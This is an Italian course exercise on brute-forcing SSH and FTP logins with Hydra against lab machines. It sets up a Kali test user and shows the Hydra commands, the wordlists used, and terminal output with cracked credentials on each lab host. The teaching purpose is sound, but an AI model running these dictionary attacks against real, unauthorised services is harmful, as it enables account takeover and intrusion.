

Traccia:

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione

Ricordate che la configurazione dei servizi è essa stessa parte dell'esercizio

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra;
- Una seconda fase dove configurerete e craccherete il servizio ftp.

Esercizio guidato:

configurazione e cracking SSH Creiamo un nuovo utente su Kali Linux, con il comando «adduser». `sudo adduser test_user`

Chiamiamo l'utente `test_user`, e configuriamo una password iniziale `testpass`

Attiviamo il servizio ssh con il comando `sudo service ssh start`

Il file di configurazione del demone `sshd` lo troviamo al path `sudo nano /etc/ssh/sshd_config`, qui possiamo abilitare l'accesso all'utente `root` in `ssh` (di default per ragioni di sicurezza è vietato), cambiare la porta e l'indirizzo di binding del servizio e modificare molte altre opzioni. Ricordate che per tutti i servizi c'è un file di configurazione dove potete modificare le impostazioni del servizio stesso.

Ai fini dell'esercizio lasciamo il file così e procediamo.

Esercizio guidato: configurazione e cracking SSH

Testiamo la connessione in SSH dell'utente appena creato sul sistema, eseguendo il comando seguente: `ssh test_user@ip_kali`, sostituite `IP_kali` con l'IP della vostra macchina

Se le credenziali inserite sono corrette, dovrete ricevere il prompt dei comandi dell'utente `test_user` sulla nostra Kali.

A questo punto, avendo verificato l'accesso, non ci resta che configurare Hydra per una sessione di cracking. Ovviamente in questo esercizio conosciamo già l'utente e la password per accedere, ma soffermiamoci sulla sintassi di Hydra per ora, successivamente potrete

cambiare e scegliere username e password random per testare il sistema in «blackbox».

Durante la lezione teorica abbiamo visto che possiamo attaccare l'autenticazione SSH con Hydra con il comando seguente, dove `-l`, e `-p` minuscole si usano se vogliamo utilizzare un singolo username ed una singola password. Ipotizziamo di non conoscere username e password ed utilizziamo invece delle liste per l'attacco a dizionario. Useremo gli switch `-L`, `-P` (notate che sono entrambe in maiuscolo)

```
hydra -l username -p password IP -t 4 ssh
```

Il nostro comando sarà quindi

```
hydra -L username_list -P password_list IP_KALI -t 4 ssh
```

Dove sostituiremo `username_list` e `password_list` con le wordlist scaricate o create e IP kali con il nostro IP.

```
File Actions Edit View Help
GNU nano 8.1 user.txt
admin
user
administrator
guest
msfadmin
anonymous
test_user
```

```
File Actions Edit View Help
GNU nano 8.1 pass.txt
admin
admin123
user
guest
password
msfadmin
testpass
password123
123456
12345678
```

```
C:\home\kali> hydra -L user.txt -P pass.txt 192.168.50.100 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-11 13:37:15
[DATA] max 4 tasks per 1 server, overall 4 tasks, 88 login tries (l:8/p:11), ~22 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-11 13:38:10
C:\home\kali> <<
```

```
C:\home\kali> hydra -L user.txt -P pass.txt 192.168.50.100 -V -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-11 13:39:03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 88 login tries (l:8/p:11), ~22 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "" - pass "" - 1 of 88 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "admin" - 2 of 88 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "admin123" - 3 of 88 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "user" - 4 of 88 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "guest" - 5 of 88 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "password" - 6 of 88 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "msfadmin" - 7 of 88 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "testpass" - 8 of 88 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "password123" - 9 of 88 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "123456" - 10 of 88 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "12345678" - 11 of 88 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "" - 12 of 88 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "admin" - 13 of 88 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "admin123" - 14 of 88 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "user" - 15 of 88 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "guest" - 16 of 88 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 17 of 88 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "msfadmin" - 18 of 88 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 19 of 88 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password123" - 20 of 88 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "123456" - 21 of 88 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "12345678" - 22 of 88 [child 1] (0/0)
```

```
C:\home\kali> hydra -L user.txt -P pass.txt 192.168.50.100 -t 4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-11 14:07:29
[DATA] max 4 tasks per 1 server, overall 4 tasks, 88 login tries (l:8/p:11), ~22 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[STATUS] 83.00 tries/min, 83 tries in 00:01h, 5 to do in 00:01h, 4 active
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-11 14:08:34
```

```
C:\home\kali> sudo systemctl status vsftpd
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2024-10-11 13:52:23 EDT; 9min ago
     Process: 25123 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
    Main PID: 25124 (vsftpd)
       Tasks: 1 (limit: 2274)
      Memory: 996.0K (peak: 1.5M)
         CPU: 10ms
        CGroup: /system.slice/vsftpd.service
                └─25124 /usr/sbin/vsftpd /etc/vsftpd.conf

Oct 11 13:52:23 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
Oct 11 13:52:23 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.

C:\home\kali> sudo systemctl enable vsftpd
Synchronizing state of vsftpd.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable vsftpd
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service.
```

```
C:\home\kali> hydra -L user.txt -P pass.txt 192.168.50.101 -t 4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-11 14:17:09
[DATA] max 4 tasks per 1 server, overall 4 tasks, 88 login tries (l:8/p:11), ~22 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[21][ftp] host: 192.168.50.101 login: user password: user
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
[21][ftp] host: 192.168.50.101 login: anonymous
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-11 14:18:04
```